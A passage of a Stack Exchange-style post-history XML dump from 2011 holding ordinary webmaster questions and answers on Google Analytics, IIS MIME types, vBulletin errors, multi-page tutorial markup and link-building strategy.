  <row Id="44798" PostHistoryTypeId="1" PostId="18430" RevisionGUID="b6da61ec-52fd-49b1-b521-be48ce87fcac" CreationDate="2011-08-19T07:31:34.370" UserId="2029" Text="Why isn't HTTP Authentication working on this Apache HTTPS site?" />
  <row Id="44799" PostHistoryTypeId="3" PostId="18430" RevisionGUID="b6da61ec-52fd-49b1-b521-be48ce87fcac" CreationDate="2011-08-19T07:31:34.370" UserId="2029" Text="&lt;apache&gt;&lt;ssl&gt;&lt;authentication&gt;&lt;virtualhost&gt;" />
  <row Id="44801" PostHistoryTypeId="2" PostId="18432" RevisionGUID="b8e7842d-e1d6-4603-8606-fd1729c01669" CreationDate="2011-08-19T08:01:53.480" UserId="5134" Text="I was looking OpenSource PHP and MySQL based POS(point of sail) web application. easy to use for users and flexible for customizing the future. &#xD;&#xA;&#xD;&#xA; Which alive project you recommend?  &#xD;&#xA;&#xD;&#xA;Thanks, " />
  <row Id="44802" PostHistoryTypeId="1" PostId="18432" RevisionGUID="b8e7842d-e1d6-4603-8606-fd1729c01669" CreationDate="2011-08-19T08:01:53.480" UserId="5134" Text="OpenSourec PHP and MySQL based POS application" />
  <row Id="44803" PostHistoryTypeId="3" PostId="18432" RevisionGUID="b8e7842d-e1d6-4603-8606-fd1729c01669" CreationDate="2011-08-19T08:01:53.480" UserId="5134" Text="&lt;looking-for-a-script&gt;&lt;web-applications&gt;&lt;recommendations&gt;&lt;post&gt;" />
  <row Id="44804" PostHistoryTypeId="2" PostId="18433" RevisionGUID="7cf41896-0be4-4da6-9129-98987750057c" CreationDate="2011-08-19T09:00:43.993" UserId="2025" Text="I am trying to find a way to establish my sites busiest hour, but when using the &quot;hour of the day&quot; metric, each seems to have a date specific code, rather than just a number from 0-23, as I would expect.&#xD;&#xA;&#xD;&#xA;Any ideas how to obtain this info, or if I should be using a different service?" />
  <row Id="44805" PostHistoryTypeId="1" PostId="18433" RevisionGUID="7cf41896-0be4-4da6-9129-98987750057c" CreationDate="2011-08-19T09:00:43.993" UserId="2025" Text="Using Google Analytics to establish busiest time of day" />
  <row Id="44806" PostHistoryTypeId="3" PostId="18433" RevisionGUID="7cf41896-0be4-4da6-9129-98987750057c" CreationDate="2011-08-19T09:00:43.993" UserId="2025" Text="&lt;google-analytics&gt;&lt;users&gt;&lt;website-analytics-tools&gt;" />
  <row Id="44808" PostHistoryTypeId="2" PostId="18434" RevisionGUID="9c8191bb-c31c-4942-b5a4-6781fef8031c" CreationDate="2011-08-19T09:13:26.943" UserId="4121" Text="you are looking for [jQuery][1] or similar type javascript/AJAX type stuff. What you trying todo has been done many times before and is available in many open source libraries, just find the right library and use it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jquery.com/" />
  <row Id="44809" PostHistoryTypeId="25" PostId="18399" RevisionGUID="fc747938-857d-4a9b-a2bd-68148f7c9028" CreationDate="2011-08-19T09:34:54.880" Comment="http://twitter.com/#!/StackWebmasters/status/104486488544264193" />
  <row Id="44810" PostHistoryTypeId="2" PostId="18435" RevisionGUID="e4663c1e-705e-47a4-93f5-66d694e0e134" CreationDate="2011-08-19T09:50:57.530" UserId="7198" Text="1. When viewing your website data, choose Visitors &gt; Visitor Trending &gt; Visits from the Analytics left-hand sidebar menu:&#xD;&#xA;&#xD;&#xA;  ![Visits in Google Analytics][1]&#xD;&#xA;&#xD;&#xA;2. Select the date range you're interested in, and then click the clock to the right of &quot;Graph by&quot; in the top right of your screen:&#xD;&#xA;&#xD;&#xA;  ![graph by time google analytics][2]&#xD;&#xA;&#xD;&#xA;You'll see a graph and bar chart showing visits by time for the date range you selected:&#xD;&#xA;&#xD;&#xA;![most popular time google analytics][3]&#xD;&#xA;&#xD;&#xA;It's important to note that the times in the left column are in whatever timezone you set up for the site when you first created it in Analytics. Check the timezone in the [site profile](http://www.google.com/support/analytics/bin/answer.py?answer=55512) here:&#xD;&#xA;&#xD;&#xA;1. Click the &quot;Analytics Settings&quot; link in the top left of your screen:&#xD;&#xA;&#xD;&#xA;   ![analytics settings][4]&#xD;&#xA;&#xD;&#xA;2. Click the 'Edit' link to the right of the site you're interested in:&#xD;&#xA;&#xD;&#xA;   ![edit link][5]&#xD;&#xA;&#xD;&#xA;3. The timezone for that website appears under &quot;Main Website Profile Information&quot;. Click the &quot;Edit&quot; link to change it:&#xD;&#xA;&#xD;&#xA;    ![enter image description here][6]    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/FCsQb.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/grYGf.png&#xD;&#xA;  [3]: http://i.stack.imgur.com/LQi45.png&#xD;&#xA;  [4]: http://i.stack.imgur.com/xBsWQ.png&#xD;&#xA;  [5]: http://i.stack.imgur.com/T2OIf.png&#xD;&#xA;  [6]: http://i.stack.imgur.com/EscEK.png" />
  <row Id="44811" PostHistoryTypeId="5" PostId="18434" RevisionGUID="bdbb50c6-396a-44e4-b9bd-46fcba3d3eb9" CreationDate="2011-08-19T09:58:52.423" UserId="4121" Comment="added 177 characters in body" Text="you are looking for [jQuery][1] or similar type javascript/AJAX type stuff. What you trying todo has been done many times before and is available in many open source libraries, just find the right library and use it.&#xD;&#xA;&#xD;&#xA;and mix it up with a free service yourself, someone [asked this question before][2] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jquery.com/&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/18189/dictionary-api-for-a-website" />
  <row Id="44812" PostHistoryTypeId="2" PostId="18436" RevisionGUID="50ff69f0-c2b1-44b2-87a3-f7ce38d6ae45" CreationDate="2011-08-19T10:12:56.167" UserId="9683" Text="How to fix error like that ? &#xD;&#xA;&#xD;&#xA;    No default path has been defined for the route class on line 227 in /home/xt8id54l/public_html/vb/route.php&#xD;&#xA;    #0 /home/xt8id54l/public_html/packages/vbcms/route/content.php(67): vB_Route-&gt;__construct('1/addcontent/')&#xD;&#xA;    #1 /home/xt8id54l/public_html/vb/route.php(254): vBCms_Route_Content-&gt;__construct('1/addcontent/')&#xD;&#xA;    #2 /home/xt8id54l/public_html/includes/class_postbit.php(392): vB_Route::create('vBCms_Route_Con...', '1/addcontent/')&#xD;&#xA;    #3 /home/xt8id54l/public_html/showthread.php(1040): vB_Postbit-&gt;construct_postbit(Array)&#xD;&#xA;    #4 {main}&#xD;&#xA;&#xD;&#xA;I red, that i must check in content manager the default page, but i don't have content manager in my options, the vbulletin is 4.0.6" />
  <row Id="44813" PostHistoryTypeId="1" PostId="18436" RevisionGUID="50ff69f0-c2b1-44b2-87a3-f7ce38d6ae45" CreationDate="2011-08-19T10:12:56.167" UserId="9683" Text="No default path has been defined for the route class" />
  <row Id="44814" PostHistoryTypeId="3" PostId="18436" RevisionGUID="50ff69f0-c2b1-44b2-87a3-f7ce38d6ae45" CreationDate="2011-08-19T10:12:56.167" UserId="9683" Text="&lt;vbulletin&gt;" />
  <row Id="44815" PostHistoryTypeId="2" PostId="18437" RevisionGUID="306aab1f-49d9-408f-92c3-fc554b89c7b4" CreationDate="2011-08-19T10:18:58.940" UserId="9684" Text="In Google Webmaster Tool, are RSS pages counted in Crawl stats? For example, my site has page A, on which it has a link to page RssA. When Google crawl page RssA, will it count the time spending download that page and include it to &quot;Time spent downloading a page&quot; stats?&#xD;&#xA;&#xD;&#xA;Thank you for your answer" />
  <row Id="44816" PostHistoryTypeId="1" PostId="18437" RevisionGUID="306aab1f-49d9-408f-92c3-fc554b89c7b4" CreationDate="2011-08-19T10:18:58.940" UserId="9684" Text="Are RSS pages included in crawl stats of Google Webmaster Tool?" />
  <row Id="44817" PostHistoryTypeId="3" PostId="18437" RevisionGUID="306aab1f-49d9-408f-92c3-fc554b89c7b4" CreationDate="2011-08-19T10:18:58.940" UserId="9684" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="44818" PostHistoryTypeId="5" PostId="18436" RevisionGUID="f8d56e15-56fe-4402-b4dc-fb23adb2db4e" CreationDate="2011-08-19T10:45:24.540" UserId="9683" Comment="added 59 characters in body" Text="How to fix error like that ? &#xD;&#xA;&#xD;&#xA;    No default path has been defined for the route class on line 227 in /home/xt8id54l/public_html/vb/route.php&#xD;&#xA;    #0 /home/xt8id54l/public_html/packages/vbcms/route/content.php(67): vB_Route-&gt;__construct('1/addcontent/')&#xD;&#xA;    #1 /home/xt8id54l/public_html/vb/route.php(254): vBCms_Route_Content-&gt;__construct('1/addcontent/')&#xD;&#xA;    #2 /home/xt8id54l/public_html/includes/class_postbit.php(392): vB_Route::create('vBCms_Route_Con...', '1/addcontent/')&#xD;&#xA;    #3 /home/xt8id54l/public_html/showthread.php(1040): vB_Postbit-&gt;construct_postbit(Array)&#xD;&#xA;    #4 {main}&#xD;&#xA;&#xD;&#xA;I red, that i must check in content manager the default page, but i don't have content manager in my options, the vbulletin is 4.0.6&#xD;&#xA;&#xD;&#xA;THERE WAS PROBLEM WITH THE CMS, so i dissable it.SOLVED" />
  <row Id="44819" PostHistoryTypeId="10" PostId="18436" RevisionGUID="4bda5e95-f6b1-46e7-8e74-d3bb5ddff11d" CreationDate="2011-08-19T11:36:09.940" UserId="1064" CloseReasonId="7" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="44820" PostHistoryTypeId="2" PostId="18438" RevisionGUID="e842c709-7c86-4cd2-9fe2-d0c61ff40dd4" CreationDate="2011-08-19T11:54:34.590" UserId="9686" Text="i want to follow social network for ebooks.&#xD;&#xA;&#xD;&#xA;Because i have ebook site and im searching beautiful source for this. If i can follow social media, be great.&#xD;&#xA;&#xD;&#xA;*Sorry My First language is not English.*" />
  <row Id="44821" PostHistoryTypeId="1" PostId="18438" RevisionGUID="e842c709-7c86-4cd2-9fe2-d0c61ff40dd4" CreationDate="2011-08-19T11:54:34.590" UserId="9686" Text="i want to follow social network for ebooks" />
  <row Id="44822" PostHistoryTypeId="3" PostId="18438" RevisionGUID="e842c709-7c86-4cd2-9fe2-d0c61ff40dd4" CreationDate="2011-08-19T11:54:34.590" UserId="9686" Text="&lt;social-media&gt;&lt;social-networking&gt;" />
  <row Id="44823" PostHistoryTypeId="2" PostId="18439" RevisionGUID="fdafb6a7-1dcb-474c-bae0-a10fd1551c8e" CreationDate="2011-08-19T12:07:10.050" UserId="9687" Text="I have a client that wants to make their products firmware files available for download on their website. The firmware files have a custom extension: .bi2. The client wants the files to be downloaded directly and not placed in a container (like a .zip file).&#xD;&#xA;&#xD;&#xA;Is there a web server setting that will instruct the browser to download the .bi2 file instead of trying to open it as a webpage?&#xD;&#xA;&#xD;&#xA;Thanks in advance for your help!" />
  <row Id="44824" PostHistoryTypeId="1" PostId="18439" RevisionGUID="fdafb6a7-1dcb-474c-bae0-a10fd1551c8e" CreationDate="2011-08-19T12:07:10.050" UserId="9687" Text="Download Link for Custom File Type" />
  <row Id="44825" PostHistoryTypeId="3" PostId="18439" RevisionGUID="fdafb6a7-1dcb-474c-bae0-a10fd1551c8e" CreationDate="2011-08-19T12:07:10.050" UserId="9687" Text="&lt;webserver&gt;&lt;download&gt;&lt;filenames&gt;" />
  <row Id="44826" PostHistoryTypeId="6" PostId="18439" RevisionGUID="f7d4457e-8248-4f3c-b2a5-46160d80c4dc" CreationDate="2011-08-19T12:13:00.733" UserId="9687" Comment="edited tags" Text="&lt;iis7&gt;&lt;webserver&gt;&lt;download&gt;&lt;filenames&gt;&lt;iis6&gt;" />
  <row Id="44830" PostHistoryTypeId="2" PostId="18441" RevisionGUID="812203cc-0e08-429a-bbbb-e83bafdc25a6" CreationDate="2011-08-19T12:24:03.360" UserId="9567" Text="I am going to read a book about MySQL database with emphasis on performance and optimization on Linux server. I appreciate your suggestions.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44831" PostHistoryTypeId="1" PostId="18441" RevisionGUID="812203cc-0e08-429a-bbbb-e83bafdc25a6" CreationDate="2011-08-19T12:24:03.360" UserId="9567" Text="Best book to learn MySQL?" />
  <row Id="44832" PostHistoryTypeId="3" PostId="18441" RevisionGUID="812203cc-0e08-429a-bbbb-e83bafdc25a6" CreationDate="2011-08-19T12:24:03.360" UserId="9567" Text="&lt;mysql&gt;&lt;books&gt;" />
  <row Id="44833" PostHistoryTypeId="5" PostId="18439" RevisionGUID="1d503e7f-4eb0-4f40-b205-da1e67478437" CreationDate="2011-08-19T12:24:09.357" UserId="9687" Comment="deleted 6 characters in body" Text="I have a client that wants to make their products firmware files available for download on their website. The firmware files have a custom extension: .bi2. The client wants the files to be downloaded directly and not placed in a container (like a .zip file).&#xD;&#xA;&#xD;&#xA;Is there an IIS setting that will instruct the browser to download the .bi2 file instead of trying to open it as a webpage?&#xD;&#xA;&#xD;&#xA;Thanks in advance for your help!" />
  <row Id="44834" PostHistoryTypeId="2" PostId="18442" RevisionGUID="7a75e0c4-ed8f-4c97-8348-dde6856ea158" CreationDate="2011-08-19T12:28:31.463" UserId="8286" Text="In order for IIS to allow access to the file at all, it needs to be assigned a MIME-type. Use `application/octet-stream` and the browser will almost certainly treat it as a file it can't handle itself.&#xD;&#xA;&#xD;&#xA;(You could also experiment with `application/x-whatever-you-want`)" />
  <row Id="44835" PostHistoryTypeId="25" PostId="18439" RevisionGUID="d7ecfee9-0a37-4132-8376-4160dccbff3b" CreationDate="2011-08-19T12:34:55.330" Comment="http://twitter.com/#!/StackWebmasters/status/104531788881342465" />
  <row Id="44837" PostHistoryTypeId="2" PostId="18443" RevisionGUID="e7b7f073-18ee-45b7-a34b-5981c7e9f5ce" CreationDate="2011-08-19T12:54:02.637" UserId="5425" Text="I just met a fellow designer who runs a website with the same pagerank as mine. When googling both our names, search results will show Google snippets below his website, but not mine. Do you know which attributes are handled by Google to define when and how these snippets are shown in search results?" />
  <row Id="44838" PostHistoryTypeId="1" PostId="18443" RevisionGUID="e7b7f073-18ee-45b7-a34b-5981c7e9f5ce" CreationDate="2011-08-19T12:54:02.637" UserId="5425" Text="How are Google snippets generated in search results?" />
  <row Id="44839" PostHistoryTypeId="3" PostId="18443" RevisionGUID="e7b7f073-18ee-45b7-a34b-5981c7e9f5ce" CreationDate="2011-08-19T12:54:02.637" UserId="5425" Text="&lt;google&gt;&lt;pagerank&gt;&lt;google-search&gt;" />
  <row Id="44840" PostHistoryTypeId="2" PostId="18444" RevisionGUID="9596efc5-3b00-4579-81e2-6e5120dd070b" CreationDate="2011-08-19T13:10:47.353" UserId="9688" Text="I was wondering is it possible to run apache with mod_wsgi and mod_php running together to serve python and php pages?&#xD;&#xA;&#xD;&#xA;If so were can I find info on doing this?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="44841" PostHistoryTypeId="1" PostId="18444" RevisionGUID="9596efc5-3b00-4579-81e2-6e5120dd070b" CreationDate="2011-08-19T13:10:47.353" UserId="9688" Text="mod_wsgi and mod_php running together - possible?" />
  <row Id="44842" PostHistoryTypeId="3" PostId="18444" RevisionGUID="9596efc5-3b00-4579-81e2-6e5120dd070b" CreationDate="2011-08-19T13:10:47.353" UserId="9688" Text="&lt;php&gt;&lt;apache2&gt;&lt;dynamic&gt;&lt;python&gt;" />
  <row Id="44843" PostHistoryTypeId="14" PostId="18441" RevisionGUID="a55cff15-b1ad-4201-af7c-b56b8a4185e4" CreationDate="2011-08-19T13:13:09.003" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="44844" PostHistoryTypeId="17" PostId="18441" RevisionGUID="f7c8654e-c863-4e02-9f89-2b981ebb325c" CreationDate="2011-08-19T13:13:09.050" UserId="108" Comment="to http://dba.stackexchange.com/questions/4821/best-book-to-learn-mysql" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="44845" PostHistoryTypeId="10" PostId="18441" RevisionGUID="47ecfc0a-2bc8-4352-9c17-b217b96f4051" CreationDate="2011-08-19T13:13:06.447" UserId="108" CloseReasonId="2" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="44846" PostHistoryTypeId="2" PostId="18445" RevisionGUID="9cc1f8f2-575b-488c-9053-6931a4e8adb9" CreationDate="2011-08-19T13:38:47.777" UserId="9689" Text="I'm writing a very long tutorial that just can't fit in one page--it would make the page heavier than 1MB, so I have to split it up. But I really wish I could put it all on one page in order to show Google that this is a very content-rich and relevant destination. &#xD;&#xA;&#xD;&#xA;In the past, I've written a 2000-something word tutorial and put it all on one page. The page was favorable with search engines and I did get search traffic on it. &#xD;&#xA;&#xD;&#xA;A couple of months later I wrote a much bigger tutorial and split it up into multiple pages with URLs like this &#xD;&#xA;&#xD;&#xA;* /tutorial/ (Main page)&#xD;&#xA;* /tutorial/sub-topic-x/ &#xD;&#xA;* /tutorial/sub-topic-y/&#xD;&#xA;* /tutorial/sub-topic-z/&#xD;&#xA;* Etc...&#xD;&#xA;&#xD;&#xA;The navigation mark-up is located at the bottom of every page in that tutorial, and it's something like this:&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;tut-nav&quot;&gt;&#xD;&#xA;      &lt;div id=&quot;prev-next&quot;&gt;&#xD;&#xA;        &lt;p class=&quot;prev&quot;&gt;&lt;a href=&quot;http://example.com/some-section/tutorial/&quot;&gt;Previous page&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;        &lt;p class=&quot;next&quot;&gt;&lt;a href=&quot;http://example.com/some-section/tutorial/b/&quot;&gt;Next page&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;      &lt;/div&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;hr class=&quot;clear&quot;&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;h3&gt;Pages in this tutorial:&lt;/h3&gt;&#xD;&#xA;      &lt;ol style=&quot;padding-left: 20px;&quot;&gt;&#xD;&#xA;        &lt;li&gt;&lt;a href=&quot;http://example.com/some-section/tutorial/&quot;&gt;Tutorial Starting Page&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;        &lt;li style=&quot;font-weight: bold;&quot;&gt;&lt;a href=&quot;http://example.com/some-section/tutorial/a/&quot;&gt;Sub-topic A&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;        &lt;li&gt;&lt;a href=&quot;http://example.com/some-section/tutorial/b/&quot;&gt;Sub-topic B&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;        &lt;li&gt;&lt;a href=&quot;http://example.com/some-section/tutorial/c/&quot;&gt;Sub-topic C&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;        &lt;li&gt;&lt;a href=&quot;http://example.com/some-section/tutorial/d/&quot;&gt;Sub-topic D&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;        &lt;li&gt;&lt;a href=&quot;http://example.com/some-section/tutorial/e/&quot;&gt;Sub-topic E&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;        &lt;li&gt;&lt;a href=&quot;http://example.com/some-section/tutorial/f/&quot;&gt;Sub-topic F&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;        &lt;li&gt;&lt;a href=&quot;http://example.com/some-section/tutorial/g/&quot;&gt;Sub-topic G&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;      &lt;/ol&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I even have breadcrumbs (without Microdata mark-up though) like this &#xD;&#xA;&#xD;&#xA;Site &gt; Section &gt; Tutorial &gt; Sub Topic A &#xD;&#xA;&#xD;&#xA;In spite all of that, the main page, /tutorial/, didn't have much luck with search engines. It's on the second page for its very uncompetitive keyword. It's ranked below pages with clearly lower quality and shallower topic coverage. It's been months. What could I have done wrong?  :( &#xD;&#xA;&#xD;&#xA;I'm thinking that for this new tutorial that I'm writing now, the `&lt;titles&gt;` of all the pages will be &quot;How to Main Keyword Phrase - Part 1&quot;, &quot;How to Main Keyword Phrase - Part 2&quot;, etc. But `&lt;h1&gt;` will be different from `&lt;title&gt;` for each page. &#xD;&#xA;&#xD;&#xA;What do you guys think about all of this? Is there a semantic way to mark-up multi-page articles that would clearly tell engines that these pages are all part of one article?" />
  <row Id="44847" PostHistoryTypeId="1" PostId="18445" RevisionGUID="9cc1f8f2-575b-488c-9053-6931a4e8adb9" CreationDate="2011-08-19T13:38:47.777" UserId="9689" Text="How to Mark-Up a Multi-Page Tutorial?" />
  <row Id="44848" PostHistoryTypeId="3" PostId="18445" RevisionGUID="9cc1f8f2-575b-488c-9053-6931a4e8adb9" CreationDate="2011-08-19T13:38:47.777" UserId="9689" Text="&lt;seo&gt;&lt;html&gt;&lt;markup&gt;" />
  <row Id="44849" PostHistoryTypeId="2" PostId="18446" RevisionGUID="eef4e7ca-3fa6-4597-8309-4efff9d5d2b2" CreationDate="2011-08-19T14:03:32.470" UserId="6184" Text="I would like to be able to reward writers with bonuses based upon the amount of traffic their individual posts receive, to encourage them to promote their posts on the internet. Is there a platform that supports this automatically out of the box?" />
  <row Id="44850" PostHistoryTypeId="1" PostId="18446" RevisionGUID="eef4e7ca-3fa6-4597-8309-4efff9d5d2b2" CreationDate="2011-08-19T14:03:32.470" UserId="6184" Text="Is there a blogging platform that allows me to give traffic related bonuses to writers?" />
  <row Id="44851" PostHistoryTypeId="3" PostId="18446" RevisionGUID="eef4e7ca-3fa6-4597-8309-4efff9d5d2b2" CreationDate="2011-08-19T14:03:32.470" UserId="6184" Text="&lt;wordpress&gt;&lt;blog&gt;" />
  <row Id="44852" PostHistoryTypeId="2" PostId="18447" RevisionGUID="0862428d-48e4-4494-a978-0fc78a4afbb9" CreationDate="2011-08-19T14:11:20.723" UserId="5806" Text="**The exact titles depend on the topic and how natural it sounds.**&#xD;&#xA;&#xD;&#xA;I've used both duplicate titles for all pages of an article and distinct titles. In the case of distinct titles, then you can use keywords targeted at those sections of the article (instead of page 1, 2, etc). For example, if you write about 'cats' you may have pages titled 'cat food', 'cat behavior', 'cat families', etc.&#xD;&#xA;&#xD;&#xA;Then you should markup all the pages with the proper meta tags (example for page2):&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;start&quot; href=&quot;/tutorial&quot;/&gt;&#xD;&#xA;    &lt;link rel=&quot;prev&quot; href=&quot;/tutorial&quot;/&gt;&#xD;&#xA;    &lt;link rel=&quot;next&quot; href=&quot;/tutorial/page3&quot;/&gt;&#xD;&#xA;&#xD;&#xA;Note, in case your tutorial can be read non-linearly, to always use a consistent order which is given to search engines. Actually, probably one the 'start' matters but I often include all 3.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44853" PostHistoryTypeId="2" PostId="18448" RevisionGUID="6750168d-974c-44be-ad65-5fdb3aea0b9d" CreationDate="2011-08-19T14:13:26.593" UserId="1064" Text="Here is a guide to using RDFa to get the most out of [Rich Snippets][1], however, it sounds as though you may be referring to [Site Links][2] (please clarify if you are referring to neither).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://knol.google.com/k/google-rich-snippets-tips-and-tricks#&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=47334" />
  <row Id="44854" PostHistoryTypeId="2" PostId="18449" RevisionGUID="c47a71cf-1efa-40da-b1dc-7bc3e26a57e1" CreationDate="2011-08-19T14:25:44.583" UserId="8009" Text="Some of you may have seen my previous question:&#xD;&#xA;&#xD;&#xA;[Link][1]&#xD;&#xA;&#xD;&#xA;I was asking how websites that don't offer especially 'interesting' content go about link building - particularly in the case of e-commerce. The general outcome was that should webmasters want their 'boring' (but useful) websites to go out of their way and create interesting 'linkbait/worthy' content.&#xD;&#xA;&#xD;&#xA;Now, the question:&#xD;&#xA;&#xD;&#xA;In light of the response to my question, I'm going about making my company's online store more interesting. Part of this operation involves creating a fairly large base of relevant content to the products on offer (probably hundreds if not thousands of pages by the time (lots of time..) we're done). **Should I use Magento's built-in CMS to handle my pages or should I look at integrating another cms?** - I'm not interested in implementing a 'blogging' platform as that will come later on.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/18291/how-do-you-do-seo-past-on-page-optimization" />
  <row Id="44855" PostHistoryTypeId="1" PostId="18449" RevisionGUID="c47a71cf-1efa-40da-b1dc-7bc3e26a57e1" CreationDate="2011-08-19T14:25:44.583" UserId="8009" Text="Orgranizing a large amount of unique (non-product) static content in Magento?" />
  <row Id="44856" PostHistoryTypeId="3" PostId="18449" RevisionGUID="c47a71cf-1efa-40da-b1dc-7bc3e26a57e1" CreationDate="2011-08-19T14:25:44.583" UserId="8009" Text="&lt;seo&gt;&lt;cms&gt;&lt;magento&gt;" />
  <row Id="44857" PostHistoryTypeId="2" PostId="18450" RevisionGUID="cba103dd-45da-40b7-8089-4066620047a0" CreationDate="2011-08-19T14:32:58.427" UserId="7392" Text="Lest say I want to target &quot;used cars&quot; (i know, i know, tough keyword, etc... but this is for the sake of an example)&#xD;&#xA;&#xD;&#xA;Using google keywords webmaster tools, I have a list of keywords:&#xD;&#xA;They are exact phrases and the number is total searches.&#xD;&#xA;&#xD;&#xA;[used cars for sale] 201000&#xD;&#xA;[used cars ni] 110000&#xD;&#xA;[used car] 74000&#xD;&#xA;[used car prices] 60500&#xD;&#xA;[used cars for sale by owner] 49500&#xD;&#xA;[used car values] 49500&#xD;&#xA;[used car sales] 27100&#xD;&#xA;[buy used cars] 27100&#xD;&#xA;[used car parts] 27100&#xD;&#xA;[cheap used cars] 22200&#xD;&#xA;[used cars uk] 22200&#xD;&#xA;[used cars for sale uk] 22200&#xD;&#xA;[best used cars] 18100&#xD;&#xA;[japanese used cars] 18100&#xD;&#xA;[used car search] 14800&#xD;&#xA;[used car dealers] 14800&#xD;&#xA;[parkers guide to used cars] 14800&#xD;&#xA;[used car dealerships] 14800&#xD;&#xA;[parkers used car prices] 12100&#xD;&#xA;[used cars usa] 12100&#xD;&#xA;[used cars ireland] 12100&#xD;&#xA;[used car value] 12100&#xD;&#xA;[kbb used cars] 9900&#xD;&#xA;[used car for sale] 9900&#xD;&#xA;&#xD;&#xA;If you were me, what would you do?&#xD;&#xA;&#xD;&#xA;1. Build trades with all the anchors, and after some time wait for the website to rank for some of them? This is in conjunction to a post I read about a seochat member talking about searching patterns and that is best to target a wide variety of anchors... eventually you will start ranking for lots of keyword combinations.&#xD;&#xA;This way the site also obtains a natural linking profile, especially combining with url only anchors, click here, etc.&#xD;&#xA;&#xD;&#xA;2. This is what I am inclined to do:&#xD;&#xA;Get the easiest keyword, least competitive. I haven-t done any competition study but lets assume for the sake of the example that the least competitive term is the one with the least number of searches, used car for sale.&#xD;&#xA;&#xD;&#xA;Build links only with this keyword but add some buffer words for keyword diversity like:&#xD;&#xA;UK used car for sale, best used car for sale, buy used car for sale - many of the buffer words being extracted from other searches above.&#xD;&#xA;&#xD;&#xA;Wait until I reach good position in serps and then move to another search term and so on.&#xD;&#xA;&#xD;&#xA;Which method do you think is best?&#xD;&#xA;More importantly how would you do it?&#xD;&#xA;&#xD;&#xA;Take care! ;)" />
  <row Id="44858" PostHistoryTypeId="1" PostId="18450" RevisionGUID="cba103dd-45da-40b7-8089-4066620047a0" CreationDate="2011-08-19T14:32:58.427" UserId="7392" Text="Best way to build links and target my keywords" />
  <row Id="44859" PostHistoryTypeId="3" PostId="18450" RevisionGUID="cba103dd-45da-40b7-8089-4066620047a0" CreationDate="2011-08-19T14:32:58.427" UserId="7392" Text="&lt;seo&gt;&lt;optimization&gt;" />
  <row Id="44860" PostHistoryTypeId="5" PostId="18450" RevisionGUID="dcfebf06-6324-4f9f-9b71-7693a449ad24" CreationDate="2011-08-19T14:48:01.303" UserId="1253" Comment="modified tags, minor text edits" Text="Lest say I want to target &quot;used cars&quot; (i know, i know, tough keyword, etc... but this is for the sake of an example)&#xD;&#xA;&#xD;&#xA;Using google keywords webmaster tools, I have a list of keywords:&#xD;&#xA;They are exact phrases and the number is total searches.&#xD;&#xA;&#xD;&#xA;[used cars for sale] 201000     &#xD;&#xA;[used cars ni] 110000   &#xD;&#xA;[used car] 74000    &#xD;&#xA;[used car prices] 60500   &#xD;&#xA;[used cars for sale by owner] 49500   &#xD;&#xA;[used car values] 49500   &#xD;&#xA;[used car sales] 27100   &#xD;&#xA;[buy used cars] 27100   &#xD;&#xA;[used car parts] 27100   &#xD;&#xA;[cheap used cars] 22200  &#xD;&#xA;[used cars uk] 22200  &#xD;&#xA;[used cars for sale uk] 22200  &#xD;&#xA;[best used cars] 18100  &#xD;&#xA;[japanese used cars] 18100  &#xD;&#xA;[used car search] 14800  &#xD;&#xA;[used car dealers] 14800  &#xD;&#xA;[parkers guide to used cars] 14800  &#xD;&#xA;[used car dealerships] 14800  &#xD;&#xA;[parkers used car prices] 12100  &#xD;&#xA;[used cars usa] 12100  &#xD;&#xA;[used cars ireland] 12100  &#xD;&#xA;[used car value] 12100  &#xD;&#xA;[kbb used cars] 9900     &#xD;&#xA;[used car for sale] 9900  &#xD;&#xA;&#xD;&#xA;If you were me, what would you do?&#xD;&#xA;&#xD;&#xA;1. Build trades with all the anchors, and after some time wait for the website to rank for some of them? This is in conjunction to a post I read about a seochat member talking about searching patterns and that is best to target a wide variety of anchors... eventually you will start ranking for lots of keyword combinations.&#xD;&#xA;This way the site also obtains a natural linking profile, especially combining with url only anchors, click here, etc.&#xD;&#xA;&#xD;&#xA;2. This is what I am inclined to do:&#xD;&#xA;Get the easiest keyword, least competitive. I haven-t done any competition study but lets assume for the sake of the example that the least competitive term is the one with the least number of searches, used car for sale.&#xD;&#xA;&#xD;&#xA;Build links only with this keyword but add some buffer words for keyword diversity like:&#xD;&#xA;UK used car for sale, best used car for sale, buy used car for 